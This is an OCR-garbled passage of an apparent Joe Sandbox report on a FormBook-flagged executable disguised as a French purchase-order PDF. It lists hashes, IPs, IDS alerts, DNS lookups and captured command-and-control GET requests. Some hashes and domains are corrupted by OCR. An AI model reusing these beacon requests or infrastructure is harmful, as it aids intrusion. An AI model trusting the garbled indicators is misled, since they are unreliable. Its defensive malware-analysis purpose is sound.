https://view.joesandbox.com/analysis/357694/html/none?idtype=webid
https://view.joesandbox.com/analysis/357669/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/357669/html/none?idtype=webid
https://view.joesandbox.com/analysis/357382/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/357382/html/none?idtype=webid
https://view.joesandbox.com/analysis/357317/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/357317/html/none?idtype=webid
https://view.joesandbox.com/analysis/357276/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/357276/html/none?idtype=webid
https://view.joesandbox.com/analysis/357147/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/357147/html/none?idtype=webid
https://view.joesandbox.com/analysis/357134/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/357134/html/none?idtype=webid
https://view.joesandbox.com/analysis/357098/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/357098/html/none?idtype=webid
https://view.joesandbox.com/analysis/357077/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/357077/html/none?idtype=webid
https://view.joesandbox.com/analysis/356772/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/356772/html/none?idtype=webid
https://view.joesandbox.com/analysis/359289/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/359289/html/none?idtype=webid

Match

CLOUDFLARENETUS

JA3 Fingerprints
No context

Dropped Files

No context

SHA 256

Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash

Get hash
Get hash
Get hash
Get hash
Get hash

Get hash
Get hash

Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

>
[]
73
o
Q,
2
@
-3
[
Q
3
-
®
2
o
3
®
c
a
[

Created / dropped Files

Process: C:\Users\user\Desktop\Nouveau bon de commande. 3007021 _pdf.exe
File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 1314

Entropy (8bit):  5.350128552078965

Encrypted: false

Copyright Joe Security LLC 2021

Detection

malicious
malicious
malicious
malicious
malicious
malicious

malicious

malicious

malicious
malicious
malicious
malicious

malicious

malicious

malicious

malicious
malicious
malicious
malicious
malicious

malicious

malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

Link

Browse
Browse
Browse
Browse
Browse
Browse

Browse

Browse

Browse
Browse
Browse
Browse

Browse

Browse

Browse

Browse
Browse
Browse
Browse
Browse

Browse

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Context

e 192.185.138.88
e 50.87.146.49
e 74.220.199.6
e 67.20.76.71
e 50.87.146.199
e 74.220.199.6

e 192.254.23
5.241

e 192.185.16
4.148

e 142.7.147.90

e 192.185.0.218
e 162.241.217.69
e 50.87.146.199

e 192.254.23
5.241

e 192.185.90.36

e 162.241.21
7.138

e 108.167.158.96
e 192.185.0.218
e 74.220.199.6

e 173.254.56.16
e 172.67.188.154
e 172.67.176.89

e 23.227.38.74

e 104.21.19.200
e 104.21.49.41

e 104.16.19.94

e 104.16.19.94

e 104.21.19.200
e 104.21.92.87

e 172.67.70.134
e 23.227.38.74

e 104.16.18.94

e 104.21.95.9

e 104.21.19.200
e 104.21.95.9

e 23.227.38.74

e 104.23.98.190
e 172.67.188.154
e 172.65.232.115
e 104.21.39.75
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https://view.joesandbox.com/analysis/359198/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/359198/html/none?idtype=webid
https://view.joesandbox.com/analysis/359126/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/359126/html/none?idtype=webid
https://view.joesandbox.com/analysis/359090/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/359090/html/none?idtype=webid
https://view.joesandbox.com/analysis/359085/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/359085/html/none?idtype=webid
https://view.joesandbox.com/analysis/359054/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/359054/html/none?idtype=webid
https://view.joesandbox.com/analysis/359039/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/359039/html/none?idtype=webid
https://view.joesandbox.com/analysis/358999/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/358999/html/none?idtype=webid
https://view.joesandbox.com/analysis/358952/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/358952/html/none?idtype=webid
https://view.joesandbox.com/analysis/358888/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/358888/html/none?idtype=webid
https://view.joesandbox.com/analysis/358846/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/358846/html/none?idtype=webid
https://view.joesandbox.com/analysis/358787/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/358787/html/none?idtype=webid
https://view.joesandbox.com/analysis/358759/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/358759/html/none?idtype=webid
https://view.joesandbox.com/analysis/358748/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/358748/html/none?idtype=webid
https://view.joesandbox.com/analysis/358699/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/358699/html/none?idtype=webid
https://view.joesandbox.com/analysis/358581/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/358581/html/none?idtype=webid
https://view.joesandbox.com/analysis/358491/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/358491/html/none?idtype=webid
https://view.joesandbox.com/analysis/358479/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/358479/html/none?idtype=webid
https://view.joesandbox.com/analysis/358428/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/358428/html/none?idtype=webid
https://view.joesandbox.com/analysis/358309/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/358309/html/none?idtype=webid
https://view.joesandbox.com/analysis/359340/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/359340/html/none?idtype=webid
https://view.joesandbox.com/analysis/359339/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/359339/html/none?idtype=webid
https://view.joesandbox.com/analysis/359332/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/359332/html/none?idtype=webid
https://view.joesandbox.com/analysis/359319/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/359319/html/none?idtype=webid
https://view.joesandbox.com/analysis/359273/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/359273/html/none?idtype=webid
https://view.joesandbox.com/analysis/359272/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/359272/html/none?idtype=webid
https://view.joesandbox.com/analysis/359267/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/359267/html/none?idtype=webid
https://view.joesandbox.com/analysis/359261/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/359261/html/none?idtype=webid
https://view.joesandbox.com/analysis/359256/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/359256/html/none?idtype=webid
https://view.joesandbox.com/analysis/359236/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/359236/html/none?idtype=webid
https://view.joesandbox.com/analysis/359212/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/359212/html/none?idtype=webid
https://view.joesandbox.com/analysis/359181/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/359181/html/none?idtype=webid
https://view.joesandbox.com/analysis/359166/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/359166/html/none?idtype=webid
https://view.joesandbox.com/analysis/359162/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/359162/html/none?idtype=webid
https://view.joesandbox.com/analysis/359159/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/359159/html/none?idtype=webid
https://view.joesandbox.com/analysis/359154/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/359154/html/none?idtype=webid
https://view.joesandbox.com/analysis/359150/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/359150/html/none?idtype=webid
https://view.joesandbox.com/analysis/359145/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/359145/html/none?idtype=webid
https://view.joesandbox.com/analysis/359143/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/359143/html/none?idtype=webid
https://view.joesandbox.com/analysis/359140/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/359140/html/none?idtype=webid

SSDEEP:
MD5:
SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

24:MLUB4JE4AK5E4Ks2E1qE4qXKDE4KhK3VZ9pKhPKIE40KFKHK0ZAEAKzZr7FE4sAmEW:MgvjHKSHKXE1qHIYHKhQnoPtHoxHhAHR
1DC1A2DCCOEFAAB4EABFAF6D6066565B

B7FCF805B6DD8DE815EA9BC089BDI9F1E617FAE9
28D63442C17BF19558655C88A635CB3C3FF1BAD1CCD9784090B9749A7E71FCEF

95DD7E2AB0884A3EFD9E26033B337D1F97DDFOASE9EICAC32187DCD40622D8B1AC8CCDBA12A70A6B9075DF5E7F68DF2F8FBA4AB33DB4576BE9806B8E19180
B7

true

high, very likely benign file

1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKkeyToken=b03f5{7f11d50a3a",0..2,"System.Windows.Forms,
Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Wind

ows\assembly\Nativelmages_v4.0.30319_32\System\4fO0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral,
PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\Nativelma
ges_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, Publi
cKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Configuration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration
.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a

Static File Info

General
File type:

Entropy (8bit):
TriD:

File name:
File size:
MD5:
SHAL:
SHA256:

SHAS512:

SSDEEP:

File Content Preview:

File Icon

Icon Hash:

Static PE Info

General
Entrypoint:
Entrypoint Section:
Digitally signed:
Imagebase:
Subsystem:

Image File Characteristics:
DLL Characteristics:
Time Stamp:

TLS Callbacks:
CLR (.Net) Version:
OS Version Major:

Copyright Joe Security LLC 2021

PE32 executable (GUI) Intel 80386 Mono/.Net assemb
ly, for MS Windows

7.7739369111242835

e Win32 Executable (generic) Net Framework
(10011505/4) 49.80%

e Win32 Executable (generic) a (10002005/4)
49.75%

e Generic CIL Executable (.NET, Mono, etc.)
(73296/58) 0.36%

e Windows Screen Saver (13104/52) 0.07%

e Generic Win/DOS Executable (2004/3) 0.01%

Nouveau bon de commande. 3007021_pdf.exe
1327104
e1d1316d5bc047ec817b950286734ed0
ae3ch4a0103f8daadec8f6dc00b6bfeb3flc52ca

6fd8c63bf53f7364e54505eb98e1b6fc005fbb691a65680e
400e7b9104ad1795

88a8f1555bc906728a9ab429899e2ae7d5eefa57128072¢
07423cca26e36044160f6383f3568a581a786780a6a0fdd
54cf13b9222¢550dc6e66b8994fcc2b168

24576:9zeFrYS/d3kYdkhlOAnxHRrjz+LVL+eQBDmwR
GPoN7vdiTbnFM:5H2I0ANXHRrjz+ZL+eum/PoiM

00828e8e8686b000

0x545336

text

false

0x400000

windows gui

32BIT_MACHINE, EXECUTABLE_IMAGE

NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
0x6103A4B4 [Fri Jul 30 07:05:24 2021 UTC]

v4.0.30319
4
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General

OS Version Minor:

File Version Major:

File Version Minor:
Subsystem Version Major:
Subsystem Version Minor:

Import Hash:

Entrypoint Preview

Data Directories

Sections

Name  Virtual Address

text 0x2000

.rsrc 0x146000

.reloc 0x148000

Resources

Imports

Version Infos

Virtual Size Raw Size Xored PE
0x14359¢ 0x143600 False
0x5f0 0x600 False
Ooxc 0x200 False

Network Behavior

Snort IDS Alerts

Timestamp Protocol SID Message

08/03/21- TCP 1201 ATTACK-RESPONSES 403 Forbidden
20:12:27.500344

08/03/21- TCP 2031453 ET TROJAN FormBook CnC Checkin (GET)
20:12:42.716824

08/03/21- TCP 2031449 ET TROJAN FormBook CnC Checkin (GET)
20:12:42.716824

08/03/21- TCP 2031412 ET TROJAN FormBook CnC Checkin (GET)
20:12:42.716824

08/03/21- TCP 1201 ATTACK-RESPONSES 403 Forbidden
20:12:42.819216

08/03/21- TCP 1201 ATTACK-RESPONSES 403 Forbidden
20:12:53.832051

08/03/21- TCP 1201 ATTACK-RESPONSES 403 Forbidden

20:13:09.239820

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries
Timestamp Source IP Dest IP
Aug 3, 2021 20:12:17.091470003 CEST 192.168.2.3 8.8.8.8

Copyright Joe Security LLC 2021

o & O &~ O

f34d5f2d4577ed6d9ceec516¢c1f5a744

ZLIB Complexity
0.86088117873

0.445963541667

0.044921875

Trans ID

0xb2b9

File Type Entropy

data 7.77818810762

data 4.25972931821

data 0.101910425663

OP Code

Standard query
©

Source

Port

80

49741

49741

49741

80

80

80

Name

www.jual-p
enggugurka
ndungan.com

Characteristics

IMAGE_SCN_MEM_EXECUTE,
IMAGE_SCN_CNT_CODE,
IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZED_D
ATA, IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZED_D

ATA,

IMAGE_SCN_MEM_DISCARDABLE
. IMAGE_SCN_MEM_READ

Dest

Port

49738

80

80

80

49741

49743

49745

Type

A (IP address)

Source IP
23.227.38.74

192.168.2.3

192.168.2.3

192.168.2.3

23.227.38.74

Dest IP
192.168.2.3

23.227.38.74

23.227.38.74

23.227.38.74

192.168.2.3

34.102.136.180 192.168.2.3

34.102.136.180 192.168.2.3

Class

IN (0x0001)
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Timestamp

Aug 3, 2021 20:12:27.393232107 CEST

Aug 3, 2021 20:12:32.533386946 CEST

Aug 3, 2021 20:12:37.597125053 CEST

Aug 3, 2021 20:12:42.651360035 CEST

Aug 3, 2021 20:12:47.864981890 CEST

Aug 3, 2021 20:12:53.660952091 CEST

Aug 3, 2021 20:12:58.853149891 CEST

Aug 3, 2021 20:13:03.992841005 CEST

Aug 3, 2021 20:13:09.068545103 CEST

Aug 3, 2021 20:13:14.253011942 CEST

Aug 3, 2021 20:13:19.565293074 CEST

DNS Answers

Timestamp Source IP

Aug 3, 2021
20:12:17.364865065
CEST

8.8.8.8

Aug 3, 2021
20:12:27.431001902
CEST

8.8.8.8

Aug 3, 2021
20:12:27.431001902
CEST

8.8.8.8

Aug 3, 2021
20:12:27.431001902
CEST

Aug 3, 2021
20:12:32.578701973
CEST

Aug 3, 2021
20:12:37.633867025
CEST

Aug 3, 2021
20:12:42.698307991
CEST

Aug 3, 2021
20:12:42.698307991
CEST

Aug 3, 2021
20:12:42.698307991
CEST

Aug 3, 2021
20:12:47.994066954
CEST

Aug 3, 2021
20:12:47.994066954
CEST

Aug 3, 2021
20:12:53.698920965
CEST

Aug 3, 2021
20:12:53.698920965
CEST

Aug 3, 2021
20:12:58.889425039
CEST

Aug 3, 2021
20:12:58.889425039
CEST

Aug 3, 2021
20:13:04.048928976
CEST

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

Copyright Joe Security LLC 2021

Dest IP
192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

Source IP

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

Trans ID

0xb2b9

Oxd12a

Oxd12a

Oxd12a

Oxce7c

Oxa3ad

Oxcedd

Oxcedd

Oxcedd

0x697d

0x697d

0x7370

0x7370

0x9fee

0x9fee

0x9149

Dest IP
8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

Reply Code

Name error (3)

No error (0)

No error (0)

No error (0)

Name error (3)

Name error (3)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Name error (3)

Trans ID

Oxd12a

Oxce7c

Oxa3ad

Oxcedd

0x697d

0x7370

0x9fee

0x9149

0x3a7

0x7416

0x603a

Name
www.jual-p
enggugurka
ndungan.com

www.discou
ntpty.com

bazar-pana
ma.myshopi
fy.com

shops.mysh
opify.com

www.comeri
cac.com

www.nlgeta
ccess.com

www.shopvy
bz.com

shop-vybz.
myshopify.com

shops.mysh
opify.com

www.handyb
usy.com

handybusy.com

www.theass
istedadrsc
heme.com

theassiste
dadrscheme
.com

www.indiad
esignstory.com

indiadesig
nstory.com

www.myblue
monitor.com

OP Code Name
Standard query  www.discou
(0) ntpty.com
Standard query  www.comeri
(0) cac.com
Standard query  www.nlgeta
(0) ccess.com
Standard query  www.shopvy
(0) bz.com
Standard query  www.handyb
(0) usy.com
Standard query  www.theass
(0) istedadrsc
heme.com
Standard query  www.indiad
(0) esignstory.com
Standard query ~ www.myblue
(0) monitor.com
Standard query  www.truckt
(0) odock.com
Standard query  www.travel
(0) awardsguide.com
Standard query  www.signin-
(0) solution.com
CName Address
none none
bazar-
panama.myshopify.com
shops.myshopify.com
23.227.38.74
none none
none none

shop-vybz.myshopify.com

shops.myshopify.com

23.227.38.74

handybusy.com

162.241.218.97

theassistedadrscheme.co

m

34.102.136.180

indiadesignstory.com

160.153.138.219

none none

Type
A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

Type
A (IP address)

CNAME
(Canonical
name)

CNAME
(Canonical
name)

A (IP address)

A (IP address)

A (IP address)

CNAME
(Canonical
name)

CNAME
(Canonical
name)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

A (IP address)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0X0001)

IN (0x0001)

IN (0Xx0001)

IN (0X0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

Page 19 of 27



Timestamp Source IP

Aug 3, 2021
20:13:09.106823921
CEST

8.8.8.8

Aug 3, 2021
20:13:09.106823921
CEST

8.8.8.8

Aug 3, 2021
20:13:14.293872118
CEST

8.8.8.8

Aug 3, 2021
20:13:19.873693943
CEST

8.8.8.8

Aug 3, 2021
20:13:19.873693943
CEST

8.8.8.8

Aug 3, 2021
20:13:19.873693943
CEST

8.8.8.8

Dest IP

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

HTTP Request Dependency Graph

e www.discountpty.com

e www.shopvybz.com

e www.handybusy.com

o www.theassistedadrscheme.com

e www.indiadesignstory.com

e www.trucktodock.com

HTTP Packets

Session ID Source IP
0 192.168.2.3

kBytes
Timestamp transferred
Aug 3, 2021 5523

20:12:27.453727007 CEST

Copyright Joe Security LLC 2021

Trans ID

0x3a7

O0x3a7

0x7416

0x603a

0x603a

0x603a

Source Port

49738

Direction

ouT

Reply Code Name
No error (0) www.truckt
odock.com

No error (0)

No error (0) www.travel
awardsguid
e.com

No error (0) Www.signin-
solution.com

No error (0) dom.iserve
r.space

No error (0) server.dom

ainsconfig.ru

Destination IP  Destination Port

23.227.38.74 80

Data

CName

trucktodock.com

trucktodock.com

dom.iserver.space

server.domainsconfig.ru

Process

C:\Windows\explorer.exe

Address

34.102.136.180

217.160.0.64

193.142.59.163

Type
CNAME
(Canonical
name)

A (IP address)

A (IP address)

CNAME
(Canonical
name)
CNAME
(Canonical
name)

A (IP address)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

GET /ajs8/?q48d=HFQLptYpKX&3fBIVXm=xNYePOcIRg8tONHI062QEzR3pjdpSOb6qFMYs+u8dcNvgsBFMgM/aah

X6CldT83MIulg HTTP/1.1
Host: www.discountpty.com
Connection: close

Data Raw: 00 00 00 00 00 00 00
Data Ascii:
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kBytes
Timestamp transferred

Aug 3, 2021 55624
20:12:27.500344038 CEST

Session ID Source IP
1 192.168.2.3

kBytes
Timestamp transferred
Aug 3, 2021 5549

20:12:42.716824055 CEST

Copyright Joe Security LLC 2021

Direction

IN

Source Port
49741

Direction
ouT

Data

HTTP/1.1 403 Forbidden

Date: Tue, 03 Aug 2021 18:12:27 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: close

Vary: Accept-Encoding

X-Sorting-Hat-Podld: -1

X-Dc: gcp-europe-westl

X-Request-I1D: 958672ac-771b-4294-8152-fabfc6d2d341

X-Content-Type-Options: nosniff

X-Permitted-Cross-Domain-Policies: none

X-XSS-Protection: 1; mode=block

X-Download-Options: noopen

CF-Cache-Status: DYNAMIC

Server: cloudflare

CF-RAY: 679183a7af874eb5-FRA

alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400

Data Raw: 31 34 31 64 0d Oa 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e Oa 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 65 6e
22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e Oa
202020 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 65 76 65
72 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6¢ 65 3e 41 63 63 65 73 73 20 64 65 6e 69 65 64 3c 2f 74 69 74 6¢ 65 3e Oa 20
202020 3c 7374 79 6¢ 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 2a 7b 62 6f 78
2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 7
4 6d 6¢ 7b 66 6f 6e 74 2d 66 61 6d 69 6¢ 79 3a 22 48 65 6¢ 76 65 74 69 63 61 20 4e 65 75 65 22 2c 48 65 6¢ 76 65 74 69
63 61 2c 41 72 69 61 6¢ 2c 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 31 46 31 46 31 3b
66 6f 6e 74 2d 73 69 7a 65 3a 36 32 2e 35 25 3b 63 6f 6¢ 6f 72 3a 23 33 30 33 30 33 30 3b 6d 69 6e 2d 68 65 69 67 68 74
3a 31303025 7d626f64 79 7b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 3b 6¢ 69 6e 65 2d 68 65 69 67
68 74 3232 2e 37 72 65 6d 7d 61 7b 63 6f 6¢ 6f 72 3a 23 33 30 33 30 33 30 3b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a
3170 78 20 73 6f 6¢ 69 64 20 23 33 30 33 30 33 30 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 70
61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 31 72 65 6d 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 62 6f 72 64 65 72 2d 63 6f 6¢C
6f 72 20 30 2e 32 73 20 65 61 73 65 2d 69 6e 7d 61 3a 68 6f 76 65 72 7b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 63 6f
6¢C 6f 72 3223 41 39 41 39 41 39 7d 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 38 72 65 6d 3b 66 6f 6e 74 2d 77 65 69
67 68 74 3a 34 30 30 3b 6d 61 72 67 69 6e 3a 30 20 30 20 31 2e 34 72 65 6d 20 30 7d 70 7b 66 6f 6e 74 2d 73 69 7a 65
3a312e3572656d3b6d61 726769 6e 3a30 7d2e 70 61 67 65 7b 70 61 64 64 69 6e 67 3a 34 72 65 6d 20 33 2e 35
72 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 64 69 73 70 6¢ 61 79 3a 66 6¢ 65 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30
30 76 68 3b 66 6¢ 65 78 2d 64 69 72 65 63 74 69 6f 6 3a 63 6f 6¢ 75 6d 6e 7d 2e 74 65 78 74 2d 63 6f 6e 74 61 69 6e 65
72 2d 2d 6d 61 69 6e 7b 66 6¢ 65 78 3a 31 3b 64 69 73

Data Ascii: 141d<!DOCTYPE html><html lang="en"><head> <meta charset="utf-8" /> <meta name="referrer" con
tent="never" /> <title>Access denied</title> <style type="text/css"> *{box-sizing:border-box;margin:0;paddi
ng:0}htmli{font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;background:#F1F1F1;font-size:62.5%;color:#303030;min-
height:100%}body{padding:0;margin:0;line-height:2.7rem}a{color:#303030;border-bottom:1px solid #303030;text-dec
oration:none;padding-bottom:1rem;transition:border-color 0.2s ease-in}a:hover{border-bottom-color:#A9A9A9}h1{font-
size:1.8rem;font-weight:400;margin:0 0 1.4rem O}p{font-size:1.5rem;margin:0}.page{padding:4rem 3.5rem;margin:0;displ
ay:flex;min-height:100vh;flex-direction:column}.text-container--main{flex:1;dis

Destination IP  Destination Port Process
23.227.38.74 80 C:\Windows\explorer.exe

Data

GET /ajs8/?3fBIVXm=hqPLwoezIU4RJIkzOayN9OUqrFULW7U9SfOZePsq8FIHYGJIIZCf9ZB5ZbUnjAkpgHeNor&qg4
8d=HFQLptYpKX HTTP/1.1

Host: www.shopvybz.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:
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kBytes
Timestamp transferred

Aug 3, 2021 5550
20:12:42.819216013 CEST

Session ID Source IP
2 192.168.2.3

kBytes
Timestamp transferred
Aug 3, 2021 5556

20:12:48.131254911 CEST

Aug 3, 2021 5556
20:12:49.884164095 CEST

Session ID Source IP

3 192.168.2.3
kBytes

Timestamp transferred

Copyright Joe Security LLC 2021

Direction

IN

Source Port
49742

Direction
ouT

Source Port

49743

Direction

Data

HTTP/1.1 403 Forbidden

Date: Tue, 03 Aug 2021 18:12:42 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: close

Vary: Accept-Encoding

X-Sorting-Hat-Podld: 193

X-Sorting-Hat-Shopld: 46504476822

X-Request-1D: 5a30c7d5-1d11-4512-a8a2-713f34fc3e7e

X-Download-Options: noopen

X-Content-Type-Options: nosniff

X-Permitted-Cross-Domain-Policies: none

X-XSS-Protection: 1; mode=block

X-Dc: gcp-europe-westl

CF-Cache-Status: DYNAMIC

Server: cloudflare

CF-RAY: 679184070f52dff7-FRA

alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400

Data Raw: 31 34 31 64 0d Oa 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e Oa 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 65 6e
22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e Oa
202020 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 65 76 65
72 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6¢ 65 3e 41 63 63 65 73 73 20 64 65 6e 69 65 64 3c 2f 74 69 74 6¢ 65 3e Oa 20
2020 20 3c 73 74 79 6¢ 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 2a 7b 62 6f 78
2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 7
4 6d 6¢ 7b 66 6f 6e 74 2d 66 61 6d 69 6C 79 3a 22 48 65 6¢ 76 65 74 69 63 61 20 4e 65 75 65 22 2c 48 65 6C 76 65 74 69
63 61 2c 41 72 69 61 6¢ 2c 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 31 46 31 46 31 3b
66 6f 6e 74 2d 73 69 7a 65 3a 36 32 2e 35 25 3b 63 6f 6¢ 6f 72 3a 23 33 30 33 30 33 30 3b 6d 69 6e 2d 68 65 69 67 68 74
